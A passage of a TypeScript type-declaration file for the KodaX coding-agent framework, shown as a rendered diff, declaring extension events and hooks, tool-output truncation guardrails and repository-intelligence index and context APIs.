content: string;
|
|
948
|
+
};
|
|
949
|
+
'provider:selected': {
|
|
950
|
+
provider: string;
|
|
951
|
+
model?: string;
|
|
952
|
+
};
|
|
953
|
+
'provider:rate-limit': {
|
|
954
|
+
provider: string;
|
|
955
|
+
attempt: number;
|
|
956
|
+
maxRetries: number;
|
|
957
|
+
delayMs: number;
|
|
958
|
+
};
|
|
959
|
+
'capability:search': {
|
|
960
|
+
providerId: string;
|
|
961
|
+
query: string;
|
|
962
|
+
kind?: CapabilityKind;
|
|
963
|
+
limit?: number;
|
|
964
|
+
};
|
|
965
|
+
'capability:describe': {
|
|
966
|
+
providerId: string;
|
|
967
|
+
capabilityId: string;
|
|
968
|
+
};
|
|
969
|
+
'capability:invoke': {
|
|
970
|
+
providerId: string;
|
|
971
|
+
capabilityId: string;
|
|
972
|
+
kind: CapabilityKind;
|
|
973
|
+
};
|
|
974
|
+
'capability:refresh': {
|
|
975
|
+
providerId: string;
|
|
976
|
+
};
|
|
977
|
+
'stream:end': undefined;
|
|
978
|
+
'turn:end': {
|
|
979
|
+
sessionId: string;
|
|
980
|
+
iteration: number;
|
|
981
|
+
lastText: string;
|
|
982
|
+
hadToolCalls: boolean;
|
|
983
|
+
signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
|
|
984
|
+
};
|
|
985
|
+
'complete': {
|
|
986
|
+
success: boolean;
|
|
987
|
+
signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
|
|
988
|
+
};
|
|
989
|
+
'error': {
|
|
990
|
+
error: Error;
|
|
991
|
+
};
|
|
992
|
+
'todo:created': {
|
|
993
|
+
id: string;
|
|
994
|
+
item: KodaXTodoItem;
|
|
995
|
+
source: TodoMutationSource;
|
|
996
|
+
};
|
|
997
|
+
'todo:updated': {
|
|
998
|
+
id: string;
|
|
999
|
+
before: KodaXTodoItem;
|
|
1000
|
+
after: KodaXTodoItem;
|
|
1001
|
+
changedFields: readonly (keyof KodaXTodoItem)[];
|
|
1002
|
+
source: TodoMutationSource;
|
|
1003
|
+
};
|
|
1004
|
+
'todo:deleted': {
|
|
1005
|
+
id: string;
|
|
1006
|
+
item: KodaXTodoItem;
|
|
1007
|
+
source: TodoMutationSource;
|
|
1008
|
+
};
|
|
1009
|
+
}
|
|
1010
|
+
/**
|
|
1011
|
+
* FEATURE_170 v0.7.41 — provenance tag for todo:* events / hooks. Lets
|
|
1012
|
+
* extension authors distinguish LLM-driven mutations (`tool`) from
|
|
1013
|
+
* runner-side automation (`internal`) — e.g. an extension that audits
|
|
1014
|
+
* todo churn should ignore `internal` flips to avoid false positives.
|
|
1015
|
+
*/
|
|
1016
|
+
type TodoMutationSource = 'tool' | 'internal';
|
|
1017
|
+
/**
|
|
1018
|
+
* FEATURE_170 v0.7.41 — seed shape passed to `'todo:before-create'`.
|
|
1019
|
+
* Mirrors `TodoAddSeed` from todo-store.ts (kept structurally compatible
|
|
1020
|
+
* to avoid coupling extension authors to the internal task-engine type).
|
|
1021
|
+
*/
|
|
1022
|
+
interface ExtensionTodoCreateSeed {
|
|
1023
|
+
readonly content: string;
|
|
1024
|
+
readonly activeForm?: string;
|
|
1025
|
+
readonly evaluator?: 'build' | 'test' | 'lint';
|
|
1026
|
+
readonly owner?: string;
|
|
1027
|
+
readonly sourceObligationIndex?: number;
|
|
1028
|
+
readonly metadata?: Record<string, unknown>;
|
|
1029
|
+
}
|
|
1030
|
+
/**
|
|
1031
|
+
* FEATURE_170 v0.7.41 — minimal todo item shape exposed to extensions
|
|
1032
|
+
* via the todo:* events. Kept structurally identical to the engine's
|
|
1033
|
+
* `TodoItem` so the runtime can pass values straight through without
|
|
1034
|
+
* conversion, but redeclared here so extension consumers don't import
|
|
1035
|
+
* from `packages/coding/src/types.ts` (which is task-engine internal).
|
|
1036
|
+
*
|
|
1037
|
+
* Drift guard: a compile-time assignability assertion at the bottom of
|
|
1038
|
+
* this file fires if `TodoItem` (engine) gains a field that this
|
|
1039
|
+
* extension-facing shape does NOT mirror — see `__todoItemParity` below.
|
|
1040
|
+
*/
|
|
1041
|
+
interface KodaXTodoItem {
|
|
1042
|
+
readonly id: string;
|
|
1043
|
+
readonly content: string;
|
|
1044
|
+
readonly status: 'pending' | 'in_progress' | 'completed' | 'failed' | 'skipped' | 'cancelled';
|
|
1045
|
+
readonly owner?: string;
|
|
1046
|
+
readonly sourceObligationIndex?: number;
|
|
1047
|
+
readonly note?: string;
|
|
1048
|
+
readonly evaluator?: 'build' | 'test' | 'lint';
|
|
1049
|
+
readonly activeForm?: string;
|
|
1050
|
+
readonly metadata?: Record<string, unknown>;
|
|
1051
|
+
}
|
|
1052
|
+
interface ExtensionHookMap {
|
|
1053
|
+
'tool:before': (context: ExtensionToolBeforeHookContext) => Promise<void | string | false> | void | string | false;
|
|
1054
|
+
'provider:before': (context: ExtensionProviderBeforeHookContext) => Promise<void> | void;
|
|
1055
|
+
'turn:settle': (context: ExtensionTurnSettleHookContext) => Promise<void> | void;
|
|
1056
|
+
'session:hydrate': (context: ExtensionSessionHydrateHookContext) => Promise<void> | void;
|
|
1057
|
+
'todo:before-create': (context: {
|
|
1058
|
+
seed: ExtensionTodoCreateSeed;
|
|
1059
|
+
}) => Promise<void | string | false> | void | string | false;
|
|
1060
|
+
'todo:before-complete': (context: {
|
|
1061
|
+
id: string;
|
|
1062
|
+
item: KodaXTodoItem;
|
|
1063
|
+
}) => Promise<void | string | false> | void | string | false;
|
|
1064
|
+
}
|
|
1065
|
+
interface ExtensionRuntimeController {
|
|
1066
|
+
queueUserMessage(message: string | KodaXMessage): void;
|
|
1067
|
+
getSessionState<T = KodaXJsonValue>(key: string): T | undefined;
|
|
1068
|
+
setSessionState(key: string, value: KodaXJsonValue | undefined): void;
|
|
1069
|
+
appendSessionRecord(type: string, data?: KodaXJsonValue, options?: {
|
|
1070
|
+
dedupeKey?: string;
|
|
1071
|
+
}): KodaXExtensionSessionRecord | undefined;
|
|
1072
|
+
listSessionRecords(type?: string): KodaXExtensionSessionRecord[];
|
|
1073
|
+
clearSessionRecords(type?: string): number;
|
|
1074
|
+
getActiveTools(): string[];
|
|
1075
|
+
setActiveTools(toolNames: string[]): void;
|
|
1076
|
+
getModelSelection(): ExtensionModelSelection;
|
|
1077
|
+
setModelSelection(next: ExtensionModelSelection): void;
|
|
1078
|
+
getThinkingLevel(): KodaXReasoningMode | undefined;
|
|
1079
|
+
setThinkingLevel(level: KodaXReasoningMode): void;
|
|
1080
|
+
}
|
|
1081
|
+
interface KodaXExtensionAPI {
|
|
1082
|
+
registerTool: (definition: LocalToolDefinition) => () => void;
|
|
1083
|
+
getTool: (name: string) => RegisteredToolDefinition | undefined;
|
|
1084
|
+
getBuiltinTool: (name: string) => RegisteredToolDefinition | undefined;
|
|
1085
|
+
registerModelProvider: (registration: ModelProviderRegistration) => () => void;
|
|
1086
|
+
registerCapabilityProvider: (provider: CapabilityProvider) => () => void;
|
|
1087
|
+
registerCommand: (command: ExtensionCommandDefinition) => () => void;
|
|
1088
|
+
registerSkillPath: (skillPath: string) => () => void;
|
|
1089
|
+
on: <TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void) => () => void;
|
|
1090
|
+
hook: <THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook]) => () => void;
|
|
1091
|
+
logger: ExtensionLogger;
|
|
1092
|
+
config: Readonly<Record<string, unknown>>;
|
|
1093
|
+
runtime: ExtensionRuntimeController;
|
|
1094
|
+
/** Extension-scoped key-value store that persists across sessions. */
|
|
1095
|
+
persistence: KodaXExtensionStore;
|
|
1096
|
+
/** Run a shell command with sandboxed environment (no API key leakage). */
|
|
1097
|
+
exec: (command: string, options?: ExecOptions) => Promise<ExecResult>;
|
|
1098
|
+
/** Send an HTTP webhook with timeout support. */
|
|
1099
|
+
webhook: (url: string, payload: unknown, options?: WebhookOptions) => Promise<WebhookResult>;
|
|
1100
|
+
}
|
|
1101
|
+
type KodaXExtensionActivationResult = void | (() => void | Promise<void>) | Promise<void | (() => void | Promise<void>)>;
|
|
1102
|
+
interface KodaXExtensionModule {
|
|
1103
|
+
default?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
|
|
1104
|
+
activate?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
|
|
1105
|
+
}
|
|
1106
|
+
|
|
1107
|
+
declare function stripHtmlToText(html: string): string;
|
|
1108
|
+
declare function extractHtmlTitle(html: string): string | undefined;
|
|
1109
|
+
declare function convertProviderSearchResults(results: unknown[], limit: number): KodaXRetrievalItem[];
|
|
1110
|
+
declare function convertCapabilityReadResult(tool: KodaXRetrievalToolName, providerId: string, capabilityId: string, result: CapabilityResult, summary: string): KodaXRetrievalResult;
|
|
1111
|
+
declare function renderRetrievalResult(result: KodaXRetrievalResult): string;
|
|
1112
|
+
declare function finalizeRetrievalResult(result: KodaXRetrievalResult, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
1113
|
+
|
|
1114
|
+
declare const DEFAULT_TOOL_OUTPUT_MAX_LINES = 2000;
|
|
1115
|
+
declare const DEFAULT_TOOL_OUTPUT_MAX_BYTES: number;
|
|
1116
|
+
declare const READ_DEFAULT_LIMIT = 2000;
|
|
1117
|
+
declare const READ_PREFLIGHT_SIZE_BYTES: number;
|
|
1118
|
+
declare const READ_MAX_LINE_CHARS = 2000;
|
|
1119
|
+
interface TruncationOptions {
|
|
1120
|
+
maxLines?: number;
|
|
1121
|
+
maxBytes?: number;
|
|
1122
|
+
}
|
|
1123
|
+
interface TruncationResult {
|
|
1124
|
+
content: string;
|
|
1125
|
+
truncated: boolean;
|
|
1126
|
+
truncatedBy: 'lines' | 'bytes' | null;
|
|
1127
|
+
totalLines: number;
|
|
1128
|
+
totalBytes: number;
|
|
1129
|
+
outputLines: number;
|
|
1130
|
+
outputBytes: number;
|
|
1131
|
+
lastLinePartial: boolean;
|
|
1132
|
+
firstLineExceedsLimit: boolean;
|
|
1133
|
+
maxLines: number;
|
|
1134
|
+
maxBytes: number;
|
|
1135
|
+
}
|
|
1136
|
+
declare function formatSize(bytes: number): string;
|
|
1137
|
+
declare function truncateHead(content: string, options?: TruncationOptions): TruncationResult;
|
|
1138
|
+
declare function truncateTail(content: string, options?: TruncationOptions): TruncationResult;
|
|
1139
|
+
declare function truncateLine(line: string, maxChars?: number): {
|
|
1140
|
+
text: string;
|
|
1141
|
+
wasTruncated: boolean;
|
|
1142
|
+
};
|
|
1143
|
+
declare function persistToolOutput(toolName: string, content: string, ctx?: Pick<KodaXToolExecutionContext, 'gitRoot' | 'executionCwd'>): Promise<string>;
|
|
1144
|
+
|
|
1145
|
+
interface ToolResultPolicy {
|
|
1146
|
+
maxLines: number;
|
|
1147
|
+
maxBytes: number;
|
|
1148
|
+
direction: 'head' | 'tail';
|
|
1149
|
+
spillToFile: boolean;
|
|
1150
|
+
}
|
|
1151
|
+
interface GuardedToolResult {
|
|
1152
|
+
content: string;
|
|
1153
|
+
truncated: boolean;
|
|
1154
|
+
outputPath?: string;
|
|
1155
|
+
policy: ToolResultPolicy;
|
|
1156
|
+
/**
|
|
1157
|
+
* FEATURE_121 v0.7.40 — set when `persistToolOutput` threw and
|
|
1158
|
+
* `content` was returned inline as the data-loss-guard fallback.
|
|
1159
|
+
* Callers that need an LLM-summary follow-up (`dispatch-child-tasks`
|
|
1160
|
+
* for `child_task_summary`) branch on this flag. Undefined/false
|
|
1161
|
+
* means the normal success path ran.
|
|
1162
|
+
*/
|
|
1163
|
+
spillFailed?: boolean;
|
|
1164
|
+
}
|
|
1165
|
+
declare function getToolResultPolicy(toolName: string): ToolResultPolicy;
|
|
1166
|
+
interface ApplyToolResultGuardrailOptions {
|
|
1167
|
+
/**
|
|
1168
|
+
* FEATURE_121 (v0.7.40): force the guardrail down the spill+preview path
|
|
1169
|
+
* regardless of `policy.maxBytes`. Used by envelope aggregate budget
|
|
1170
|
+
* enforcement to reclaim space when N child summaries individually fit
|
|
1171
|
+
* but together exceed the envelope cap.
|
|
1172
|
+
*/
|
|
1173
|
+
forceSpill?: boolean;
|
|
1174
|
+
}
|
|
1175
|
+
declare function applyToolResultGuardrail(toolName: string, content: string, ctx: KodaXToolExecutionContext, options?: ApplyToolResultGuardrailOptions): Promise<GuardedToolResult>;
|
|
1176
|
+
|
|
1177
|
+
type RepoAreaKind = 'package' | 'directory' | 'docs' | 'tests' | 'scripts' | 'root';
|
|
1178
|
+
type ChangedFileStatus = 'modified' | 'added' | 'deleted' | 'renamed' | 'untracked';
|
|
1179
|
+
interface RepoAreaOverview {
|
|
1180
|
+
id: string;
|
|
1181
|
+
label: string;
|
|
1182
|
+
kind: RepoAreaKind;
|
|
1183
|
+
root: string;
|
|
1184
|
+
fileCount: number;
|
|
1185
|
+
manifests: string[];
|
|
1186
|
+
sampleFiles: string[];
|
|
1187
|
+
}
|
|
1188
|
+
interface RepoOverview {
|
|
1189
|
+
schemaVersion: number;
|
|
1190
|
+
workspaceRoot: string;
|
|
1191
|
+
source: 'git' | 'filesystem';
|
|
1192
|
+
generatedAt: string;
|
|
1193
|
+
truncated: boolean;
|
|
1194
|
+
git?: {
|
|
1195
|
+
branch?: string;
|
|
1196
|
+
head?: string;
|
|
1197
|
+
hasUncommittedChanges?: boolean;
|
|
1198
|
+
};
|
|
1199
|
+
fileStats: {
|
|
1200
|
+
totalFiles: number;
|
|
1201
|
+
sourceFiles: number;
|
|
1202
|
+
docFiles: number;
|
|
1203
|
+
testFiles: number;
|
|
1204
|
+
configFiles: number;
|
|
1205
|
+
};
|
|
1206
|
+
manifests: string[];
|
|
1207
|
+
keyDocs: string[];
|
|
1208
|
+
entryHints: string[];
|
|
1209
|
+
areas: RepoAreaOverview[];
|
|
1210
|
+
}
|
|
1211
|
+
interface ChangedScopeAreaSummary {
|
|
1212
|
+
areaId: string;
|
|
1213
|
+
label: string;
|
|
1214
|
+
root: string;
|
|
1215
|
+
kind: RepoAreaKind;
|
|
1216
|
+
fileCount: number;
|
|
1217
|
+
files: string[];
|
|
1218
|
+
}
|
|
1219
|
+
interface ChangedFileEntry {
|
|
1220
|
+
path: string;
|
|
1221
|
+
status: ChangedFileStatus;
|
|
1222
|
+
category: 'source' | 'docs' | 'tests' | 'config' | 'other';
|
|
1223
|
+
areaId: string;
|
|
1224
|
+
}
|
|
1225
|
+
interface ChangedScopeReport {
|
|
1226
|
+
schemaVersion: number;
|
|
1227
|
+
workspaceRoot: string;
|
|
1228
|
+
analyzedAt: string;
|
|
1229
|
+
scope: 'unstaged' | 'staged' | 'all' | 'compare';
|
|
1230
|
+
baseRef?: string;
|
|
1231
|
+
overviewGeneratedAt?: string;
|
|
1232
|
+
totalChangedFiles: number;
|
|
1233
|
+
changedLineCount: number;
|
|
1234
|
+
addedLineCount: number;
|
|
1235
|
+
deletedLineCount: number;
|
|
1236
|
+
categories: Record<'source' | 'docs' | 'tests' | 'config' | 'other', number>;
|
|
1237
|
+
areasTouched: ChangedScopeAreaSummary[];
|
|
1238
|
+
files: ChangedFileEntry[];
|
|
1239
|
+
riskHints: string[];
|
|
1240
|
+
}
|
|
1241
|
+
declare function buildRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, targetPath?: string): Promise<RepoOverview>;
|
|
1242
|
+
declare function getRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
|
|
1243
|
+
targetPath?: string;
|
|
1244
|
+
refresh?: boolean;
|
|
1245
|
+
}): Promise<RepoOverview>;
|
|
1246
|
+
declare function renderRepoOverview(overview: RepoOverview): string;
|
|
1247
|
+
declare function buildRepoIntelligenceContext(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
|
|
1248
|
+
targetPath?: string;
|
|
1249
|
+
includeRepoOverview?: boolean;
|
|
1250
|
+
includeChangedScope?: boolean;
|
|
1251
|
+
refreshOverview?: boolean;
|
|
1252
|
+
changedScope?: 'unstaged' | 'staged' | 'all' | 'compare';
|
|
1253
|
+
baseRef?: string;
|
|
1254
|
+
}): Promise<string>;
|
|
1255
|
+
declare function analyzeChangedScope(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
|
|
1256
|
+
targetPath?: string;
|
|
1257
|
+
scope?: 'unstaged' | 'staged' | 'all' | 'compare';
|
|
1258
|
+
baseRef?: string;
|
|
1259
|
+
refreshOverview?: boolean;
|
|
1260
|
+
}): Promise<ChangedScopeReport>;
|
|
1261
|
+
declare function renderChangedScope(report: ChangedScopeReport): string;
|
|
1262
|
+
|
|
1263
|
+
type RepoLanguageId = 'typescript' | 'javascript' | 'python' | 'java' | 'go' | 'rust' | 'cpp' | 'unknown';
|
|
1264
|
+
type LanguageCapabilityTier = 'high' | 'medium' | 'low';
|
|
1265
|
+
type RepoSymbolKind = 'function' | 'class' | 'interface' | 'type' | 'enum' | 'struct' | 'trait' | 'method' | 'constant';
|
|
1266
|
+
interface RepoLanguageSupport {
|
|
1267
|
+
language: RepoLanguageId;
|
|
1268
|
+
capabilityTier: LanguageCapabilityTier;
|
|
1269
|
+
fileCount: number;
|
|
1270
|
+
}
|
|
1271
|
+
interface RepoSymbolReference {
|
|
1272
|
+
symbolId: string;
|
|
1273
|
+
name: string;
|
|
1274
|
+
filePath: string;
|
|
1275
|
+
moduleId: string;
|
|
1276
|
+
reason: 'same-module' | 'imported-module' | 'name-match';
|
|
1277
|
+
}
|
|
1278
|
+
interface RepoSymbolRecord {
|
|
1279
|
+
id: string;
|
|
1280
|
+
name: string;
|
|
1281
|
+
qualifiedName: string;
|
|
1282
|
+
kind: RepoSymbolKind;
|
|
1283
|
+
filePath: string;
|
|
1284
|
+
moduleId: string;
|
|
1285
|
+
language: RepoLanguageId;
|
|
1286
|
+
capabilityTier: LanguageCapabilityTier;
|
|
1287
|
+
line: number;
|
|
1288
|
+
signature: string;
|
|
1289
|
+
exported: boolean;
|
|
1290
|
+
calls: string[];
|
|
1291
|
+
callTargets: RepoSymbolReference[];
|
|
1292
|
+
importPaths: string[];
|
|
1293
|
+
confidence: number;
|
|
1294
|
+
}
|
|
1295
|
+
interface ModuleCapsule {
|
|
1296
|
+
moduleId: string;
|
|
1297
|
+
label: string;
|
|
1298
|
+
kind: RepoAreaKind;
|
|
1299
|
+
root: string;
|
|
1300
|
+
fileCount: number;
|
|
1301
|
+
sourceFileCount: number;
|
|
1302
|
+
symbolCount: number;
|
|
1303
|
+
languages: RepoLanguageSupport[];
|
|
1304
|
+
topSymbols: string[];
|
|
1305
|
+
dependencies: string[];
|
|
1306
|
+
dependents: string[];
|
|
1307
|
+
entryFiles: string[];
|
|
1308
|
+
keyTests: string[];
|
|
1309
|
+
keyDocs: string[];
|
|
1310
|
+
sampleFiles: string[];
|
|
1311
|
+
processIds: string[];
|
|
1312
|
+
confidence: number;
|
|
1313
|
+
}
|
|
1314
|
+
interface ProcessStep {
|
|
1315
|
+
kind: 'entry' | 'imports' | 'calls';
|
|
1316
|
+
symbolName: string;
|
|
1317
|
+
symbolId?: string;
|
|
1318
|
+
filePath: string;
|
|
1319
|
+
note: string;
|
|
1320
|
+
line?: number;
|
|
1321
|
+
}
|
|
1322
|
+
interface ProcessCapsule {
|
|
1323
|
+
id: string;
|
|
1324
|
+
label: string;
|
|
1325
|
+
moduleId: string;
|
|
1326
|
+
entryFile: string;
|
|
1327
|
+
entrySymbol?: string;
|
|
1328
|
+
summary: string;
|
|
1329
|
+
steps: ProcessStep[];
|
|
1330
|
+
confidence: number;
|
|
1331
|
+
}
|
|
1332
|
+
interface RepoIntelligenceIndex {
|
|
1333
|
+
schemaVersion: number;
|
|
1334
|
+
workspaceRoot: string;
|
|
1335
|
+
generatedAt: string;
|
|
1336
|
+
overviewGeneratedAt: string;
|
|
1337
|
+
sourceFileCount: number;
|
|
1338
|
+
sourceFingerprint: string;
|
|
1339
|
+
languages: RepoLanguageSupport[];
|
|
1340
|
+
modules: ModuleCapsule[];
|
|
1341
|
+
symbols: RepoSymbolRecord[];
|
|
1342
|
+
processes: ProcessCapsule[];
|
|
1343
|
+
capability?: KodaXRepoIntelligenceCapability;
|
|
1344
|
+
trace?: KodaXRepoIntelligenceTrace;
|
|
1345
|
+
}
|
|
1346
|
+
interface ModuleContextResult {
|
|
1347
|
+
module: ModuleCapsule;
|
|
1348
|
+
freshness: string;
|
|
1349
|
+
confidence: number;
|
|
1350
|
+
evidence: string[];
|
|
1351
|
+
capability?: KodaXRepoIntelligenceCapability;
|
|
1352
|
+
trace?: KodaXRepoIntelligenceTrace;
|
|
1353
|
+
}
|
|
1354
|
+
interface SymbolContextResult {
|
|
1355
|
+
symbol: RepoSymbolRecord;
|
|
1356
|
+
alternatives: RepoSymbolRecord[];
|
|
1357
|
+
callers: RepoSymbolRecord[];
|
|
1358
|
+
freshness: string;
|
|
1359
|
+
confidence: number;
|
|
1360
|
+
capability?: KodaXRepoIntelligenceCapability;
|
|
1361
|
+
trace?: KodaXRepoIntelligenceTrace;
|
|
1362
|
+
}
|
|
1363
|
+
interface ProcessContextResult {
|
|
1364
|
+
process: ProcessCapsule;
|
|
1365
|
+
alternatives: ProcessCapsule[];
|
|
1366
|
+
freshness: string;
|
|
1367
|
+
confidence: number;
|
|
1368
|
+
capability?: KodaXRepoIntelligenceCapability;
|
|
1369
|
+
trace?: KodaXRepoIntelligenceTrace;
|
|
1370
|
+
}
|
|
1371
|
+
interface ImpactEstimateResult {
|
|
1372
|
+
target: {
|
|
1373
|
+
kind: 'symbol' | 'module' | 'path';
|
|
1374
|
+
label: string;
|
|
1375
|
+
moduleId?: string;
|
|
1376
|
+
filePath?: string;
|
|
1377
|
+
};
|
|
1378
|
+
summary: string;
|
|
1379
|
+
impactedModules: ModuleCapsule[];
|
|
1380
|
+
impactedSymbols: RepoSymbolRecord[];
|
|
1381
|
+
callers: RepoSymbolRecord[];
|
|
1382
|
+
changedScope?: ChangedScopeReport;
|
|
1383
|
+
freshness: string;
|
|
1384
|
+
confidence: number;
|
|
1385
|
+
capability?: KodaXRepoIntelligenceCapability;
|
|
1386
|
+
trace?: KodaXRepoIntelligenceTrace;
|
|
1387
|
+
}
|
|
1388
|
+
declare function renderModuleContext(result: ModuleContextResult): string;
|
|
1389
|
+
declare function renderSymbolContext(result: SymbolContextResult): string;
|
|
1390
|
+
declare function renderProcessContext(result: ProcessContextResult): string;
|
|
1391
|
+
declare function renderImpactEstimate(result: ImpactEstimateResult): string;
|
|
1392
|
+
|
|
1393
|
+
type RepoContext = Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>;
|
|
1394
|
+
declare function buildRepoIntelligenceIndex(context: RepoContext, options?: {
|
|
1395
|
+
targetPath?: string;
|
|
1396
|
+
refresh?: boolean;
|
|
1397
|
+
}): Promise<RepoIntelligenceIndex>;
|
|
1398
|
+
declare function getRepoIntelligenceIndex(context: RepoContext, options?: {
|
|
1399
|
+
targetPath?: string;
|
|
1400
|
+
refresh?: boolean;
|
|
1401
|
+
}): Promise<RepoIntelligenceIndex>;
|
|
1402
|
+
declare function getModuleContext(context: RepoContext, options?: {
|
|
1403
|
+
module?: string;
|
|
1404
|
+
targetPath?: string;
|
|
1405
|
+
refresh?: boolean;
|
|
1406
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1407
|
+
}): Promise<ModuleContextResult>;
|
|
1408
|
+
declare function getSymbolContext(context: RepoContext, options: {
|
|
1409
|
+
symbol: string;
|
|
1410
|
+
module?: string;
|
|
1411
|
+
targetPath?: string;
|
|
1412
|
+
refresh?: boolean;
|
|
1413
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1414
|
+
}): Promise<SymbolContextResult>;
|
|
1415
|
+
declare function getProcessContext(context: RepoContext, options: {
|
|
1416
|
+
entry?: string;
|
|
1417
|
+
module?: string;
|
|
1418
|
+
targetPath?: string;
|
|
1419
|
+
refresh?: boolean;
|
|
1420
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1421
|
+
}): Promise<ProcessContextResult>;
|
|
1422
|
+
declare function getImpactEstimate(context: RepoContext, options: {
|
|
1423
|
+
symbol?: string;
|
|
1424
|
+
module?: string;
|
|
1425
|
+
path?: string;
|
|
1426
|
+
targetPath?: string;
|
|
1427
|
+
refresh?: boolean;
|
|
1428
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1429
|
+
}): Promise<ImpactEstimateResult>;
|
|
1430
|
+
declare function getRepoRoutingSignals(context: RepoContext, options?: {
|
|
1431
|
+
targetPath?: string;
|
|
1432
|
+
refresh?: boolean;
|
|
1433
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1434
|
+
}): Promise<KodaXRepoRoutingSignals>;
|
|
1435
|
+
/**
|
|
1436
|
+
* v0.7.41 L2 — best-effort warm both session-level caches (routing signals +
|
|
1437
|
+
* preturn bundle) for a given workspace. Designed to be called fire-and-forget
|
|
1438
|
+
* at REPL startup so the first user prompt finds the in-process caches warm.
|
|
1439
|
+
*
|
|
1440
|
+
* Why this works (and why M1's `refresh:true` design did NOT):
|
|
1441
|
+
* - Uses `refresh: false` (4s budget) — daemon returns its already-cached
|
|
1442
|
+
* state immediately. Total prewarm wall-time is typically 1-2s.
|
|
1443
|
+
* - Daemon's own background polling keeps its state fresh; we don't need
|
|
1444
|
+
* to force a refresh on every REPL startup.
|
|
1445
|
+
* - If user submits BEFORE prewarm completes, P2 in-flight Promise sharing
|
|
1446
|
+
* coalesces both calls onto the same 4s daemon round-trip. The user pays
|
|
1447
|
+
* at most ~2s, NOT the 30s budget that `refresh:true` would burn.
|
|
1448
|
+
* - If user submits AFTER prewarm completes, P3+ session cache (60s TTL)
|
|
1449
|
+
* serves the result in ~0ms.
|
|
1450
|
+
* - The middleware/first-round path (L1) also uses `refresh:false`, so
|
|
1451
|
+
* prewarm and user-path are cache-coherent — the user-path call genuinely
|
|
1452
|
+
* hits the warmed entry instead of being forced to bypass it.
|
|
1453
|
+
*
|
|
1454
|
+
* Failure modes:
|
|
1455
|
+
* - All calls `.catch(() => {})` — prewarm is best-effort. If the daemon
|
|
1456
|
+
* is down, the first prompt falls back to OSS as before.
|
|
1457
|
+
* - `off` mode short-circuits — no work at all when repo intelligence
|
|
1458
|
+
* is disabled.
|
|
1459
|
+
*/
|
|
1460
|
+
declare function prewarmRepoIntelligenceCaches(context: RepoContext, options?: {
|
|
1461
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1462
|
+
}): void;
|
|
1463
|
+
|
|
1464
|
+
declare const REPOINTEL_DEFAULT_ENDPOINT = "http://127.0.0.1:47891";
|
|
1465
|
+
|
|
1466
|
+
type RepoIntelligenceRequestedBridge = 'none' | 'shared' | 'native';
|
|
1467
|
+
type RepoIntelligenceEffectiveEngine = 'off' | 'oss' | 'premium';
|
|
1468
|
+
type RepoIntelligenceRuntimeStatus = 'disabled' | 'ok' | 'limited' | 'unavailable' | 'warming';
|
|
1469
|
+
type PremiumTransport = 'daemon' | 'direct';
|
|
1470
|
+
interface RepoIntelligenceRuntimeInspection {
|
|
1471
|
+
configuredMode: KodaXRepoIntelligenceMode;
|
|
1472
|
+
requestedMode: KodaXRepoIntelligenceResolvedMode;
|
|
1473
|
+
endpoint: string;
|
|
1474
|
+
bin: string;
|
|
1475
|
+
traceEnabled: boolean;
|
|
1476
|
+
requestedBridge: RepoIntelligenceRequestedBridge;
|
|
1477
|
+
effectiveEngine: RepoIntelligenceEffectiveEngine;
|
|
1478
|
+
effectiveBridge: RepoIntelligenceRequestedBridge;
|
|
1479
|
+
status: RepoIntelligenceRuntimeStatus;
|
|
1480
|
+
fallbackToOss: boolean;
|
|
1481
|
+
warnings: string[];
|
|
1482
|
+
error?: string;
|
|
1483
|
+
transport?: PremiumTransport;
|
|
1484
|
+
clientBuildId?: string;
|
|
1485
|
+
daemonBuildId?: string;
|
|
1486
|
+
daemonStartedAt?: string;
|
|
1487
|
+
daemonPid?: number;
|
|
1488
|
+
}
|
|
1489
|
+
interface RepoIntelligenceRuntimeWarmResult extends RepoIntelligenceRuntimeInspection {
|
|
1490
|
+
warmed: boolean;
|
|
1491
|
+
warmLatencyMs?: number;
|
|
1492
|
+
}
|
|
1493
|
+
interface RepoIntelligenceRuntimeConfig {
|
|
1494
|
+
mode: KodaXRepoIntelligenceMode;
|
|
1495
|
+
endpoint: string;
|
|
1496
|
+
bin: string;
|
|
1497
|
+
trace: boolean;
|
|
1498
|
+
}
|
|
1499
|
+
declare function resolveRepoIntelligenceRuntimeConfig(modeOverride?: KodaXRepoIntelligenceMode, traceOverride?: boolean): RepoIntelligenceRuntimeConfig;
|
|
1500
|
+
declare function resolveRepoIntelligenceMode(modeOverride?: KodaXRepoIntelligenceMode): KodaXRepoIntelligenceResolvedMode;
|
|
1501
|
+
declare function inspectRepoIntelligenceRuntime(options?: {
|
|
1502
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1503
|
+
trace?: boolean;
|
|
1504
|
+
probePremium?: boolean;
|
|
1505
|
+
}): Promise<RepoIntelligenceRuntimeInspection>;
|
|
1506
|
+
declare function warmRepoIntelligenceRuntime(options?: {
|
|
1507
|
+
mode?: KodaXRepoIntelligenceMode;
|
|
1508
|
+
trace?: boolean;
|
|
1509
|
+
}): Promise<RepoIntelligenceRuntimeWarmResult>;
|
|
1510
|
+
|
|
1511
|
+
